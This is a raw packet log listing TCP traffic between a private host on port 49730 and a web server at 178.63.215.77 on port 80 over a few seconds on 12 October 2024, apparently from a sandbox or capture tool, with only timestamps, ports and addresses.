Oct 12, 2024 14:17:05.263030052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263045073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263062000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263092041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263104916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263123035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263134003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263154984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263184071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263186932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263199091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263220072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263231039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263248920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263259888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263282061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263289928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263313055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263324022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263344049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263351917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263376951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.263403893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.263422966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.548226118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.548226118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.554702997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.554743052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.554769993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.554795980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.554826975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.752206087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.752307892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.829261065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.829309940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:05.834441900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.834471941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:05.834498882 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:06.165119886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:06.165211916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:06.195749044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:06.201399088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:06.394643068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:06.394850016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:06.935034037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:06.939954996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.131833076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.131900072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.345648050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.350689888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.537919998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.537980080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538014889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538017035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538048029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538084984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538091898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538091898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538093090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538120031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538129091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538153887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538162947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538187027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538197041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538219929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538227081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538254976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538269043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538286924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538294077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538328886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.538347006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.538378000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.626414061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.626590014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636286020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636341095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636358976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636375904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636385918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636416912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636428118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636461973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636471033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636506081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636509895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636543036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636554003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636573076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636584997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636605978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636615992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636637926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636650085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636670113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636677980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636701107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636708021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636734009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636744976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636775017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636784077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636816978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636833906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636852026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636858940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636883974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636895895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636915922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636924028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636946917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636972904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.636979103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.636987925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.637011051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.637026072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.637042999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.637049913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.637073994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.637079000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.637104988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.637115002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.637136936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.637161970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.637180090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733011961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733057022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733110905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733161926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733190060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733191013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733191013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733194113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733234882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733234882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733247042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733282089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733298063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733321905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733331919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733365059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733378887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733398914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733402967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733443022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733450890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733484983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733493090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733516932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733530998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733549118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733582020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733597994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733597994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733633995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733639956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733664989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733690023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733695984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733705044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733735085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733755112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733798981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733813047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733851910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733864069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733896017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733903885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733927965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733936071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733959913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.733967066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.733990908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734005928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734023094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734030962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734055042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734066963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734095097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734095097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734128952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734138966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734162092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734169960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734194040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734203100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734226942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734236002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734262943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734294891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734298944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734313965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734329939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734338045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734363079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734370947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734388113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734401941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734406948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734416008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734422922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734430075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734441996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734447956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734447956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734456062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734469891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734472990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734483957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734487057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734498024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734510899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734512091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734510899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734527111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734532118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734539986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734549999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734555960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734571934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.734574080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734574080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.734606981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.821599960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.821711063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830270052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830322981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830338001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830358028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830372095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830408096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830440044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830459118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830460072 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830491066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830506086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830526114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830539942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830558062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830579996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830607891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830620050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830656052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830662966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830688000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830694914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830737114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830741882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830770016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830782890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830818892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830822945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830853939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830858946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830885887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830893993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830929995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.830940962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830972910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.830984116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831007004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831015110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831054926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831079006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831089020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831098080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831137896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831146002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831187963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831192970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831237078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831245899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831271887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831279039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831304073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831317902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831351995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831352949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831403971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831409931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831449032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831454039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831502914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831505060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831547976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831557989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831588984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831598997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831621885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831639051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831653118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831662893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831696987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831698895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831749916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831763983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831783056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831795931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831834078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831836939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831866980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831892967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831913948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831916094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831948042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831958055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.831979990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.831995964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832011938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832020044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832045078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832053900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832077026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832084894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832108974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832142115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832156897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832159042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832205057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832206011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832237959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832246065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832271099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832297087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832302094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832315922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832354069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832370043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832386017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832395077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832433939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832437038 CEST	49730	80	192.168.2.4	178.63.215.77
